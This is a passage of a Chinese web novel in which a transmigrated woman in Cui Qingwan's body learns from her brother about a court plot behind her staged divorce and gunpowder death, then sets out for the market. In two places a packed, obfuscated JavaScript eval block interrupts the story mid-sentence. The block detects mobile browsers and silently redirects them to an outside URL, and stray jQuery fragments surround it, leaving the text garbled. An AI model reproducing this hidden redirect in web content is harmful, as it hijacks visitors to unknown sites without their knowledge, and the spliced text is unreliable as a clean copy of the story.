而除却期望外,他无法停止的,还有对这个灵动魂体的反复打量。
崔皓羿的眼底迅速闪过一丝别样情绪,他似乎在疑惑,他不懂为何前一秒还是洒脱甚至是不着调的脾性,怎么此刻便如此沉稳?率性、自由,能孕育这般灵魂的地方究竟会是哪儿……
“三郎君是想参考一下我的结论吗?只可惜我也不明白,其实这几日各位的口风与清婉娘子书信所述大多一致,这场悲剧应该被定性,可每当我要这么认为时,我脑海中不住重现的,便是昨日见桓王时,来自这副身体的哭泣。”
“崔清婉”的视线从书信中脱离出来,抬眸对上崔皓羿的盯视,看着这副与自己所附之人相差无几的面容,她的语气也放缓了些。
“我既然相信有真人能行养魂之术,那么,我想此刻我也该相信,昨日这副身子哭泣时,是绝对没有怨恨的。不仅如此,依我所能感受到的,是不尽的愧疚与挣扎。”
“三郎君,我不明白,若说清婉娘子是被人埋下炸药暗害,那最有可能的便是行使休妻权力的桓王,可为什么,为什么清婉娘子要对这个明晃晃的嫌疑人心生愧疚?她到底遭遇了什么,才会有这样的情绪?”
说到最后,“崔清婉”的目光简直是锁死般扎进崔皓羿的眼中,不解,质疑,甚至还有几分似有似无的责备。
崔皓羿身形一震,忙着撇开视线,但他面上自持的冷静终究被进攻性的眼神破了防。他突地发出一声苦笑,随即便长吐一口气,最后竟在自顾自地摇头中失魂落魄地跌坐到书案后的位置上。
“愧疚?还有挣扎?哈……”
银甲作响间,崔皓羿身上的哀意更甚,在肉眼可见的迷茫与自责中,“崔清婉”断定此事另有隐情。
沉默,让人估量不清过了多长时间的沉默,“崔清婉”终是掂量着语气再度开口询问。
“三郎君,你应当还有一些事要与我说?”
闻声,崔皓羿仰头看向“崔清婉”,明明是与昔日胞妹一模一样的外貌,却因那眸中的坚定而显得完全不同。
非亲非故,还是被迫投身进这场阴谋之中,即便如此却仍在真诚关怀他人吗?
真是善良,也真是……有勇气。
崔皓羿自嘲一笑,他整整面容,澄湛的眸色看上去恢复了些神采。接着,他从圈椅上起了身,拱拱手向面前的“崔清婉”作了一礼。
“娘子勿怪,方才是我一时失态。在娘子拿着的木匣中,屉内顶部另有夹层藏有密信,此为幼时阿婉与我笑谈时设计,在那儿,有阿婉避过崔家人眼目向我交代的真正话语。”
听到这话“崔清婉”一怔,忙捧起木匣,朝着屉内打量看去——果然如他所言,顶部内端有一处极薄的夹层机关。
“崔清婉”瞥看崔皓羿一眼,说不清是埋怨还是不解,但显然此时若揪着对方刚才未拿出密信一事争论也无济于事,于是她收回目光,专心研究手中的匣子。
用手指是很难将夹层纸张推出去的,“崔清婉”一咬牙,抬手向满头的珠翠摸去,摸来摸去终是找到一枚做工精巧的银栉,将其取下来,用梳齿状的那面向夹层插了进去。
“啪嗒”一声,一小张被戳皱的字条掉到匣内,“崔清婉”抖抖匣子将它取出,等不及将银栉重新插回到发髻上便匆匆展开字条,一时间,几行小而密的娟秀字体映入眼帘。
兄长痛惜,阿澈愧疚,皆都表意愿为我放弃计划,可社稷安危前岂能有妇人之仁?欲行大事,须得果决。
桓王府已非安稳之地,近日暗中换了很多仆人,愿阿澈原谅我的怯懦。
阿兄,若你见到此信,请为了我,帮帮阿澈。
是叫“阿兄”吗……
难怪先前自己称呼崔皓羿为“三哥哥”时,他会有那样的不自在。
“崔清婉”眉头微动,暗下明白崔皓羿之前的反应,随后她屈了屈眼睛,强迫自己不要在意无关紧要的事,她努力将全部注意力集中在手中的字条上,开始逐词逐句地做起阅读理解。
首先,“放弃计划”,这计划是什么?为何使得“兄长痛惜”、“阿澈愧疚”?
其次,“社稷安危”所指何事?莫不是真如崔皓月所言,这是崔家与桓王之间的朝堂站队问题?但若如此,也只是未来皇位继承问题,怎会用“安危”二字形容?
再次,桓王府的异变又是为何?是谁下的手,莫非是李澈自己做的局?可为什么崔清婉还要说自己怯懦?
最后,也是现今的“崔清婉”最不明的事,原身究竟抱有怎样的想法,才会这样乞求,让崔皓羿帮帮李澈……
简直是一头雾水,“崔清婉”认真看了字条一遍又一遍,实在想不清楚,她垂下眸子略一沉吟,抬眼盯向崔皓羿。
“三郎君不如坦白交代,是否还有这样的字条未曾展示?”
站在书案后的崔皓羿摇摇头,他回看来自自己胞妹身上陌生灵魂的打量,言语轻缓。
“娘子明鉴,羿未敢再有隐瞒。”
“坦白而言,除娘子与我外,再无他人得知这张字条的存在。方才我并非有意隐瞒,只是先前思量,娘子本就是被迫来养阿婉的魂体,若我故意让娘子深入此事中,那我岂非不仁不义之徒?”
“但见娘子谈吐,我知娘子心智坚定,短暂思量下,我还是觉得娘子有权知晓此事。至于娘子愿不愿意深入调查,全凭娘子心意,哪怕娘子想要避开此事只待返魂之法,我与崔家上下也会尽力护娘子周全。”
说到此处,崔皓羿止了言语,他深吸一口气,看上去颇为认真严肃。
在“崔清婉”还没反应过来的时候,崔皓羿突地从书案后迈步出来,“砰”地一声单膝跪地。
“嗯?!发生什么事了!”
崔皓羿因着身上的银甲,在动作时不免声音有些大,吓得“崔清婉”一激灵,她警惕地看了看四周,搞不明白崔皓羿怎么突然来了这么一出。
“从玉蝉借魂,到木匣密信,我在有意无意间冒犯娘子多次,今日一跪,是我向娘子赔罪,望娘子宽恕。”
好嘛!崔皓月下跪致歉那一套一定是你训练出来的吧!一个的模子吓死人!
不过礼多人不怪,虽然猛地下跪挺惊人,但这种态度倒让人受用。
“崔清婉”回过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877274|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神后便想要将崔皓羿搀扶起来,虚扶几下却发现对方跪得实在真诚,只能叹了口气说:“好好,不怪罪就是了,你快起来吧。”
再次搀扶又是无果,“崔清婉”歪着脑袋看看对方,却发现这健硕利落的好男儿竟也流露出几分扭捏之意。
“我……”
“什么?”
在纯真无害的目光下,崔皓羿的脸上浮现出一丝愧色,他略微偏侧过头去,视线也低垂在一旁。
“其实我有个不情之请。”
“不情之请?不是你怎么还加码……算了,你先说,但你刚刚可是说过的,我答不答应全由我自己,所以你别想道德绑架我!”
大概是军人做派,崔皓羿实在跪得标准,全身的肌肉都紧绷着,在听到“崔清婉”答话后,崔皓羿正过头来,紧张且认真地开口。
“绑架?娘子放心,即便此事有危险,羿也不会让娘子陷入绝境之中。”
“哎呀不是这个绑架!”
刚要辩解,“崔清婉”想了想又止住话头。
“咳嗯——那个,三郎君能许这样的承诺自然是好事,现下你不如说明白,到底需要我帮助什么事?”
“说来惭愧,明明娘子肯屈身在阿婉身上养魂已是莫大恩典,可我还是想请娘子以阿婉的身份周旋于各方势力之间,远如权贵,近如长兄,以娘子聪慧,定能发现不少线索。羿别无他求,只想找寻真相,因为这不仅是对阿婉,也是对娘子,甚至还有因这场祸事丢掉性命的诸多人,都是一个交代。可我也清楚,我这样的请求,分明就是慷他人之慨,即便我会尽全力保护娘子安危,可这也不能更改让娘子涉险的事实……”
絮絮叨叨的话语还未说尽,单膝下跪的姿势依旧挺拔,“崔清婉”有些诧异地打量了对方几眼,如果方才她只是觉得崔皓羿为人有礼,可自对方说出要给所有人一个交代时,“崔清婉”便觉得他与常人不同。
他能记得为这场事牺牲的仆从,他没有把那些人只当做下人,在这样一个陌生的时代,纵然封建等级森严,可他依然能抱有温存的目光对待底层人。
“好,我答应你。”
也许是心底一瞬间的触动让“崔清婉”失了神,也许是这样的情形下她无法置身事外,总之,她应答得不假思索。
崔皓羿显然是没有想到对方的果决,他怔了怔,而后开口道:“这……虽说我乐得这样的结果,可娘子当真不再考虑一番吗?昔日自然有我疏忽的缘故,可阿婉贵为桓王妃也会遭人算计,更别提今日阿婉的身份,即便有崔家护佑,想必娘子未来遇到的试探也不会少——”
“三郎君是觉得我答应得太快?”崔清婉一转眸子,恍然大悟。
“……是。”
“那不如我提个要求?”
“娘子请说。”
听到身前人要提要求,崔皓羿终于松了口气,他是希望这位娘子能提出一些条件,甚至说,这条件越难满足越好,起码,这样他会心安一些。
“噢!那要求就是你先站起来,你一直跪着,我有些眼晕。”
确实眼晕,对方跪着的时候,只要自己视线稍微向他的脖颈以下扫去,内心都得默念数十句“罪过”。
“嗯?”
见崔皓羿怔愣,“崔清婉”抬抬手掌,隔空做了个搀扶起身的手势。
“你站起来,我就答应你了。”
崔皓羿本还打算再辩解几句,但见“崔清婉”一副自己不起来就装聋作哑不听的架势,迟疑了一瞬便站起身来。
“娘子,”站起身来的崔皓羿蹙着眉摇摇头,“娘子这要求有些草率。”
但对“崔清婉”来说,崔皓羿本就仪表堂堂,此时他站在自己面前,宽阔的胸膛直接占据了她整个视野。随着言语,崔清婉清楚看到对方胸膛的起伏,她不由地干咳一声,将视线移到对方的脸上。
嘶,真是张正直伟大的脸啊……
干咽一口不存在的口水,“崔清婉”心虚地笑道:“不草率,不草率。”
想来你妻子站在你身前说嫁你,肯定也不是草率决定,毕竟太充足了,嗯,理由很充足。
心中诽谤一句,而后又增添数句“罪过”,随即“崔清婉”回过神正色道:“既然现在我们已经成了探寻真相的盟友,那我还有件在意的事,想要和三郎君确定一下。”
崔皓羿眸子一颤,显然是预料到眼前人想问什么。
“娘子不必问,这合该由我主动交代——毕竟,崔家如今不伦不类的做派皆是由这场卑劣计划造成的。”
9. 宫斗
卑劣计划,难怪崔皓羿会这样评价……
“崔清婉”坐在屋内东侧的圈椅上,垂眸思索。
余光里,她瞥见崔皓羿正伏在书案上写着什么,想来是为了缓和二人目光接触的尴尬,显然,这样的事由他说出口也足够残忍。
简要提及间,她了解到他们的父亲因不满族内安排而从大族里脱离出来投身军营,却在取得军功后不幸战死沙场,唯留他们兄弟姐妹几人守着落寞的崔府过日。也因为这样的缘故,崔家年长的那几位可谓是说一不二,行事颇有手段。在他们的庇佑下,崔家上下兄友弟恭、姊妹和睦,是个标准的模范门户。
可有些事,并不是和睦友爱就能解决的。
“我大哥在朝中颇受倚重,但他一贯支持我朝皇室正统。虽说自当今圣人继位以来,中宫权倾朝野,经常有僭越之举,可有关皇储一事,朝中大臣们是心照不宣。即便来日继位者并非太子,而是其他皇子,以后只待削减太后势力便可,现在还犯不着去与其一争高下,且历朝历代这样的事屡见不鲜,也用不着惊讶什么。”
“大哥始终认为,做臣子的,既食君禄,便行忠君之事。而忠君之中,他首要做的就是保证这朝廷仍然是皇室正统。忠君之理,人尽皆知,想必娘子也有自己的见解。”
保国者,其君其臣肉食者谋之;保天下者,匹夫之贱与有责焉耳矣。
崔皓羿这样讲,“崔清婉”自然是能够理解,这也和崔皓月所讲的崔家与桓王府不对付局面很是吻合。可若只是这般,崔家为何会让清婉娘子嫁于桓王?难道真是李澈强取豪夺?
“桓郡王乃是当今圣人的嫡亲兄弟——景亲王李旭升的第五子,名澈。而他其余的四位兄长,分别是盛郡王李珏、惠郡王李知、楚郡王李泓以及宁郡王李逸。在这之中,盛王李珏与楚王李泓最是杰出,堪称这一代皇室宗亲中的翘楚。”
“身为皇室优秀者,且自己父亲又是圣上的嫡亲兄弟,他们自然也会有一些盘算,娘子不必看我,达官显贵们对这个可是嗅得灵敏,只是不明谈而已。”
“现今不知盛王与楚王二人间如何决断,但可以肯定的是,他二人一致对着太子一派紧盯猛打。身为那二人的兄弟,桓王自然是站在了太子的对面,与我们崔家水火不容了。”
“以上所讲,便是摆在明面上的事。”
“而计划,自然是暗里进行的。”
不得不承认,崔皓羿讲故事还是很有天赋的,因为铺垫得够详细,所以转折时才这样吊胃口。
“崔清婉”在圈椅上三分虚坐,她目光低低地斜向一侧,认真回想方才的听闻。
“我兄长是支持太子不假,可也不一定非得因此而去讨好中宫,何况中宫与太子也不全在一条心上……说来娘子可能不知,现太子李茂非皇后亲生,其生母乃是一名宫女,在诞下皇嗣后便难产而亡,皇后因此收养了太子。而圣人与皇后另有一爱女,是为承乐公主。”
“承乐公主因早年间跟随被先帝贬黜的圣人颠簸流离,故而备受怜爱。自圣人即位后,承乐公主一再受封,生活极尽奢华,所用所得简直超过我鲤泮以往的任何一位皇家子弟,就连先帝的独女麟华长公主,与之相比也稍显逊色。”
“宠溺之下,承乐公主的行为也越发猖狂。”
“仗势专擅朝政,承乐公主与皇后大肆收受贿赂,侵蛀国本,引得朝内朝外愤怨沸腾。”
“无论是屠夫酒肆之徒,还是为他人作奴婢之人,只要找到门路向其二位行贿三十万钱,就能够得到由皇帝亲笔敕书任命的官位,这便是大名鼎鼎的‘斜封官’!而这些官员在朝廷内,竟已达到数千人!”
“承乐公主仗着圣人恩宠,联合中宫染指朝政,气焰过甚,甚至她还想让圣人立她为皇太女。兄长得知此消息后,认为中宫须被敲打一番,认清局势。”
“而这,便是兄长与桓王交易的缘由。”
交易,还是与桓王。
明明只是在回想方才对话的“崔清婉”竟也忍不住发出一丝冷笑,一如崔皓羿眸底那晕不开的哀伤。
被至亲之人当作政治斗争的筹码,难怪崔皓羿会说他们崔家凉薄。
大抵清婉娘子也是明白,所以才会以匣中夹层的方式向胞兄求救。但这么说的话,为何清婉娘子还让崔皓羿帮帮桓王?
至于承乐公主想要皇储地位一事,“崔清婉”可没崔家人那么愤慨,她并不认为这样的念头有什么不对,她可不会以父权社会那一套去要求女性,士农工商,男人做得,女人自然也能做得。
只是,承乐公主与皇后卖官鬻爵的行为十分可耻!
侵蛀国本,收刮民脂民膏,不论在哪个时代都应当被唾弃。
但也真是奇怪,明明想要得到最高权力,为何还做这种亏损国本的行为?这承乐公主……是不是脑子不太好使?
“兄长与桓王,一方是太子亲信,一方支持自家兄弟,不论二者中的谁,只要想真正取得中宫信任收集罪证就必须做点什么出格的事。而这,便是桓王休妻的缘由。”
“假借休妻,明面上让崔家与桓王势力彻底僵化,到时我大哥再在太子面前做一场戏,就可顺势接触到承乐公主。承乐公主想做皇太女,自然也想拉拢朝中势力,而她的那些‘斜封官’作乐享福可以,真论朝政,不过是一个个酒囊饭袋。”
“我知娘子不解为何只靠一场戏便可取信于承乐公主,说来可悲,太子势弱,除却我大哥一派支持,再无其他势力。承乐公主与皇后早就多番暗示大哥,希望大哥为其所用,但大哥态度坚决,从未屈服,也因如此,今日必须施计方能取信于中宫。”
真是迂回曲折。
“崔清婉”松开环着的手臂,搭在圈椅扶手上,她的手指头不安分地划剐着扶手部分的表层,想要缓解巨量信息的冲击。
崔大郎君是为了太子,桓王是为了他的兄长,所以他们联合设了个局,把前者的妹妹,也就是后者的妻子套了进去……
越想越可笑。
所以,清婉娘子到底是被迫,还是自愿?
她抬抬目光,装作不经意地样子瞟了书案旁的人几眼——崔皓羿还是在书案上写写画画,完全没有要打断她沉思的样子。
对方宽阔的臂膀即便是伏案,也一样的不容小觑,只是一想到这样健硕的身躯都没办法保护自己的胞妹,也难怪他落寞。
“这样的计划,除却两位兄长与桓王知晓,其余的,便是当事人阿婉了。”
“我并不知道阿婉出于怎样的心思,可她竟然备下黑/火/药搂抱怀中,想要在休妻回府的路上点燃。大哥说,阿婉想要以自己身亡,来促使他们的计划更加可信。”
“当李澈在阿婉院中查到藏匿的黑/火/药时,他震惊痛惜之余将消息传给我大哥,如阿婉信中所写,二人几欲放弃计划。但这时,阿婉做了妥协,说她只是一时糊涂,必不这样行事,就让计划照旧。”
“再后来的事,便是你我所知晓的了。”
嗯……莫名其妙的祸事,却被坊间传成天雷击杀,只有为数不多的势力核心人物才知晓,这分明是一场谋杀。
后来崔皓羿又说到,在那晚赶去祸事现场的人,皆面色凄然、悲痛欲绝,正因如此,他才清楚察觉到来自兄长与桓王对视时多余的一丝情绪——是愤怒与质问。
若在寻常,他只能遵从兄长们安排,怎敢质问兄长?可当日看到阿婉惨状,他终是按捺不住内心的悲愤,于私下对着兄长逼问。
他也不曾想到,事情的真相会这样残忍。
“与我不同,阿婉的婚事由她自己作主,我原以为她能摆脱家族桎梏,自在地做一名王妃,可终究是我多想了。做崔家人,怎能不按崔家的意思走……”
“崔清婉”清楚记得讲述这些事时崔皓羿悲痛的眸色与泛红的眼角,她自己也是一脸凝重,她从未想到,背后竟然还有这样的原因。
兄长痛惜,阿澈愧疚吗?
难怪如此……
她原以为清婉娘子只是因婚姻琐碎而心力交瘁,可她没想到清婉娘子竟到了这般程度。
来自这个时代的轻生者,是吗?
“崔清婉”叹了口气,有点说不清自己的感受。
那些随行仆人的死,她自然难过,可她无法挽回,只能靠探寻真相来给他们的亲人一丝慰藉;而崔清婉原身的死,算不上完全的死,自己已经得到一个机遇来拯救她,可怎么拯救?难道仅仅养好她的魂体就可以了吗?
是,一切是与自己无关,哪怕愿意待在崔清婉身上一段时间也算得上仁至义尽,可,听完这些故事后她就是有那么一份愤怒与不甘。
为什么,为什么清婉娘子没有说不的权利?她的兄长与丈夫布下这样的局面真是为了家国吗?这分明只是权力的争夺!
还有隐在暗处的不怀好意者,他们直勾勾地盯着这个弱女子,将她生吞活剥。她到底受过怎样的磋磨,才想借着计划实施自我毁灭的意图?
不,不能只是养魂,既然决定要救,就要打破这个僵局,让她有生的勇气。
心中有了盘算,“崔清婉”的目光也坚定起来,她抬起眼帘,视线投向书案前的崔皓羿。
“三郎君将隐情全部告知于我,是希望我周旋于各方势力之间,从而引出布放硝石的幕后黑手,这我是明白的,但我认为还有一事也同样重要。”
听到“崔清婉”讲话,崔皓羿手中笔墨一顿,但他的目光仍落在书案上,不知是在审视笔下字迹,还是在思考对方言语。
“必须要探明清婉娘子为何会产生轻生的念头,若不能解决这个问
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877275|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
题,就算我将清婉娘子的魂魄养了回来,也终是无济于事。”
话音落尽,屋内闪过一瞬沉默,崔皓羿像是极快抉择下来,他放下笔杆,大步向“崔清婉”走来,连带作礼时都带了几分振作后的利落。
“娘子所言极是,能得娘子相助,我感激不尽。现下迷雾重重,望娘子万事小心,有任何难处请务必吩咐我,面对桓王时还请——”
话说一半,便听到屋外传来轻快的脚步声,崔皓羿极为警惕地向窗外一看,随后沉了沉目光,略一沉吟,他又转回头向“崔清婉”做了个请的手势。
“娘子聪慧,我信娘子有自己的决断,还请娘子先随我来。”
“崔清婉”点点头,随在崔皓羿身后,边走边隔着窗纸向外瞧去,果然见到一个朦胧高挑的人影正从侧路大步走近——看那一身绯红,想来是终于练完功的崔皓月。
不过说实话,他这练功未免太久了些,就算是被强制安排过,可这时长仍像是知情人故意留下时间供自己与崔皓羿商谈。
但依崔皓羿所讲,崔家大郎君与桓王交易一事是他私下逼问出来的,还未曾告知他人,崔皓月应当是不知晓其中的龃龉。
“明明是亲兄弟,这件事的隐情也没让四郎君得知吗?”
跟在崔皓羿身旁,“崔清婉”低声问道。
“未曾,即便我厌恶至极,可这场计划仍旧被完美实施了,所以还是少个人知道为好。只有这样,才能为崔府提供最大限度的安全。”
“那可不可以告知四郎——”
像是故意打断“崔清婉”的提问,崔皓羿猛地将门打开,门外出现的,是愣在原地还维持着伸手开门动作的崔皓月,那只因练武而发丝湿润散乱的脑袋怔了怔,一张俊脸上满是惊恐。
“唔!三哥!”
“嗯?练完功了?”
崔皓羿周身气场一改轻松,他笑着应答,丝毫不像方才般沉重。
“早就结束了,只是碰巧遇到三姐差人找我。”
崔皓月展露笑颜,眼眸弯弯,浅栗色的瞳子衬得眉间痣更显和善。
“三姐差人?”崔皓羿有些意外,随即又是释然一笑,“莫不是三姐算到你懈怠,特意催你陪她去田庄?”
“我何时懈怠了?四姐姐能作证,我分明一大早就辛勤练功,简直是刻苦表率!”崔皓月眉毛一挑,歪着脑袋笑得灿烂,“看我这么认真,四姐姐要不要给我份奖励?”
“嗯?什么?”
话头转得飞快,只留“崔清婉”一脸不解。
还不等崔皓月开口,崔皓羿便接过话头说道:“大概阿月是想让阿婉考考他功课,以便来日在京中女眷间留点才名。”
“嘁,庸俗!四姐姐才不会做这么无聊的事,在四姐姐眼中,我分明是个品质良好的衣架子,最适合展示她搭配的各种服饰!倒是三哥你,怕不是又在书房给我留些无用的功课来做?”
年岁相差无几的后果就是,崔皓月回怼起自家三哥熟稔得很。
“无用吗?为兄不过见书上积了灰尘,提醒你‘温故知新’罢了。”
崔皓羿眯眯眼,那张正直清俊的脸上居然也会有这种狡黠的神色。
“可除非做出好文章,不然三哥绝对不会罢休吧?”
“嗯,知兄莫若弟,希望阿月千万不要辜负为兄希望啊。”
“是是是,每次不都这样。”
言语笑谈间,崔皓月神情很是放松,眼见气氛恰好,他再度冲着“崔清婉”一笑。
“三姐差人传话,说二哥特意给她传信,今日午后在东市有入京的胡人售卖宝冠华服,二哥托三姐问四姐姐身子如何,若是好些,让她带着四姐前去逛逛,权当是散散心。”
“嗯?原来是二哥,”崔皓羿神色一动,接过话茬,“可不是说让三姐带阿婉出去吗?”
“三姐一大早就去田庄了,根本没有时间,还不得我这个闲——鲜有的刻苦练功人来带嘛!”崔皓月倚着门框,自信地冲着崔清婉一挑眉。
瞧见自家兄弟没个正形的模样,崔皓羿抬脚踢了下崔皓月用来支撑身体那条腿的膝盖弯,弄得对方闪了个趔趄。
“这样,那为兄明白了,看来我是得好好尽尽当兄长的责任,今日午后我便劳累一番吧。”
动作小打小闹,言语上却还是兄弟间恭敬的措辞,但崔皓羿这意外的“加盟”明显不在崔清书托人带话的内容里,一下子急坏了崔皓月本人。
“欸不!三姐说必须我带,不然就——”
“哎呀,这一上午督促你,为兄都累了,”崔皓羿装作疲乏模样打断崔皓月的阻拦,任“崔清婉”再傻也看得出来,这趟邀约绝不简单,崔皓羿这是想着法儿地要守着自己,“不如,待为兄回旧屋歇一歇,我们午膳过后便出发,如何?”
10. 非议
说是午膳后便出发,可真收拾起来,又拖沓个没完。
直到日头减了些浓烈光辉,午后充满惬意与闲适时,崔家的马车才叮铃铃地碾过石板路,径直向东市驶去。
“那不是——”
清风徐过,马车木窗边的绢纱飘扬,有路人自间隙中瞥见一张宛如姑射仙姑般脱俗清艳的美人面,不由得惊呼,于是连锁反应般,四周也骚动起来。
“快噤声!你不知道那位是谁吗!又和谁扯着干系!就不怕祸从口出!”
见身边男子望着马车缓缓行过的方向,文人打扮的行者忙拉过他一声低喝,而他的过激反应,又引得另一位书生不满。
“这位兄台未免太过谨慎,即便桓王现下约束着百姓不许多言,但现今圣人都还赐她郡夫人的身份,有什么说不得?”
“就是就是,天家都不遮掩的事,有什么说不得!那桓王真以为自己能堵住天下人的嘴?我早就看不惯他嚣张的做派了!”
刚说完,另一旁小贩模样的人便凑了过来,附和着。
不曾想,他这一言语,更惹得附近摊上的其他小贩也嚷了起来,可偏他们又不敢高声言语,只留下一团哄闹之音。
“看不得又如何?人家是王公贵胄,你算什么!”
听罢另一小贩的回嘴,书生不满地摇摇头,合上手中的折扇:“你这话便不对,王公贵胄又怎样,擅自休妻就是不合礼数,‘天子犯法尚与庶民同罪’,何况他一郡王?那家娘子早在成婚前就柔顺美名在外,此事必是桓王狂悖在先!公道自在人心!”
“吁,什么公道?若是公道,那数日前在茶摊闲谈的白秀才就不会被抓了去到现在还没音信!”旁边摊上一商贾模样的人听到他们的谈话,忙是放下手中茶盏,斜过身子加了句自己的见解。
方才反驳的小贩听到“白秀才”一词,眉毛一跳,慌慌张张地朝四下看了一圈,然后压低声音,一副紧张神色。
“快收声,真是不要命了!你们可不晓得,这事全是他太不小心,竟然当着那么多客人的面,说什么‘桓王宠妾灭妻,连桓王妃怀的孩子也托人打掉,就从他远方表舅那儿取的药’……这话也能乱说?他怕不是早被杀了头啊……”
说到此处,在场之人皆是打了个寒噤。白秀才被抓时的言论确实骇人,现下想必他已是凶多吉少,而其言论真假也难以求证了。
短暂沉默后,最开始被文人拉住的男子叹了口气,低着声音再度开口。
“唉!你们啊,难道不记得半个多月前夜里的那声巨响?那可是天雷!是灾祸啊!”
“肯定是崔家女私会了外男,王府里多得是老天都看不下去的事,那些豪门贵族里的腌臜事,呵——我呸!”一长相粗犷的屠户倚在屋外的木柱上,朝地上啐了一口唾沫。
见此行径,书生皱着眉头侧了侧身子,一脸的不悦:“你这大汉!怎么揣测起人如此下作!”
“哼,下作?老子要是下作怎么没有雷来劈老子?她肯定是有什么缘由!都说桓王平日里嚣张,也没见他受着什么伤啊!那崔家女——”
“崔家女怎么?她现今好端端的不就是有福神庇佑?”另一文人似乎自动选择与书生站在同一立场,也是开口反驳起屠户,“你别不信,要我说,明明就是桓王府内有人行暗害之事。”
像是为了把注意力拉回到自己身上,最初参与谈话的小贩向其他人招了招手,一脸神秘:“就是就是,我有亲戚在桓王府做工,他偷偷和我说,在桓王休妻的前些日里,有妾室闹到桓王妃主院,赶去的桓王可是一脸铁青。”
“哼!什么妻什么妾,都是一群无理闹三分的破鞋子!‘打不死的婆娘,晒不坏的茄秧’,依老子看,都他娘的多打打就听话了!”屠户说完一仰头,蛮横又不屑。
另外一个小贩见他这个模样,换下方才紧张的神色,讥讽般地“嘿嘿”一笑。
“嗨,你还指点别人,谁不知你这厮摆弄几个臭钱娶来的媳妇都被打跑了,你这是有怨气没处撒吧?在这胡咧咧上了。”
“操!你他娘的给老子扯什么犊子——”
“吵什么吵什么!不要命啦!一个个聚在这儿干什么?!”
正当众人言语激沸之时,不知是这里围观之人太多引人注目,还是有人专门寻来巡视的官差,总之来自官家的一声厉喝便将团着的人群冲散开来。
一时间,不论是文人还是书生,还是小贩与屠户,都在官差喝止后恢复了低眉顺眼的模样,全然不见方才指点江山的做派。
忙碌间,许有人记得方才的话,许有人忘记,又或是记得不真切,让明日的坊间再多一种“据说”的可能。
但目前的议论,尚且没有招惹到“崔清婉”本人身边。虽说她也不曾当什么辩论赛手,也没那么能说会道,但真要是有人非议她,她定要拉扯着对方论个天昏地暗,毕竟谁能忍受平白被污蔑的事呢?
“阿婉往日也爱逛东市,尤其新入市的衣物首饰,更是爱不释手。只是距上次相约逛市已是一年前,这次阿婉大可随心些,不必拘束。”
宽敞的马车内,坐着崔家三人——崔皓月从怀里掏出写得密密麻麻的纸条,一边看一边嘟囔着什么;“崔清婉”面上极力克制着好奇,但间歇总要从飘扬开的绢纱缝隙向外瞄几眼,似乎是被古代坊市的热闹吸引了目光;而崔皓羿自清晨出了书房,在旧宅内又是换衣又是沐浴,才休息了没几个时辰便要出门,现正在摇晃的马车中闭目养神,不过,许是他察觉到“崔清婉”克制的举止,故而主动开口缓解对方的情绪。
“拘束?我没有,我只是在意有没有……啊不是,咳,我只是痊愈后第一次出府苑,对都城里的繁华熟悉又陌生,怕自己有些不得体罢了。”
“崔清婉”本想说自己在留意街道上有没有可疑之士,但意识到崔皓月本人并不知晓内情,又生生将话头咽了下去。
什么散心,什么随意,作为一个穿越而来的人,她的内心只有主线任务好吗?
都说凶手会重返作案现场,那自己这个被暗害的人还好端端地活了下来,行凶之人怎么能按捺住好奇心不前来一看?
“四姐姐怎会不得体?尤其今时不同往日,四姐姐衣色相得益彰,我看了都觉得耳目一新,更别提京都其他女子了。想必四姐姐是在偷偷打量其他官眷们的穿着,真没想到四姐虽失去了记忆,但对女子梳妆还是上心。也难怪,毕竟四姐在未出阁时就是京都内最引领风采之人嘛!”
崔皓月将看完的纸条往袖子里塞了塞,应和般回了几句,在察觉到“崔清婉”探询的目光后,挑眉一笑,随后指了指闭目养神的崔皓羿,又朝自己脖颈间一比划,抿嘴摇头不肯细说。
“嗯?”
“崔清婉”眨眨眼,有些不解。
“那个……四姐姐不如先决定一下,今日是想去逛凤琼阁还是绣罗裳?”
凤琼阁?绣罗裳?难道往日的清婉娘子对这个有偏好?这小子还在试探我?啊……怎么回答……
在“崔清婉”疑惑纠结之际,本闭目养神的崔皓羿反倒缓缓睁开眼睛,平静地看向崔皓月。
“是有什么消息?”
“三,三哥……哈,哈哈,其实也没什么……”
一与崔皓羿对视,崔皓月便显得紧张极了,他几声干笑,颇有几分讨好的意味,而后他躲开自家三哥的目光,偏过头看向“崔清婉”,笑眼弯弯,谄媚之意溢于言表。
“四姐,其实昨日有好几队胡商进京,所以今日的集市上既有宝冠华服相售,又有一些西域来的乐器珍宝,只是这些东西不在一处,故而我想要问问四姐,更属意去哪儿。”
“那——”
还不待“崔清婉”回答,崔皓羿便截了话头。
“有事就直说,何来拐弯抹角?”
“崔清婉”一怔,正想吐槽崔皓羿总是对崔皓月言辞果决,但又忽地反应过来,若按照方才谈话所讲,昔日的清婉娘子很是热衷女子梳妆,那定会直截了当地决定看宝冠华服,哪儿还会需要崔皓月再问属意去往何处?这样相问必是有些状况发生。
想到这儿,“崔清婉”自觉噤了声,静待崔皓月把话说明白。
“唉,明明我和三姐说了我糊弄不过去,三姐非不信,非把这差事推给我。”
崔皓月叹了口气,一脸的苦恼。
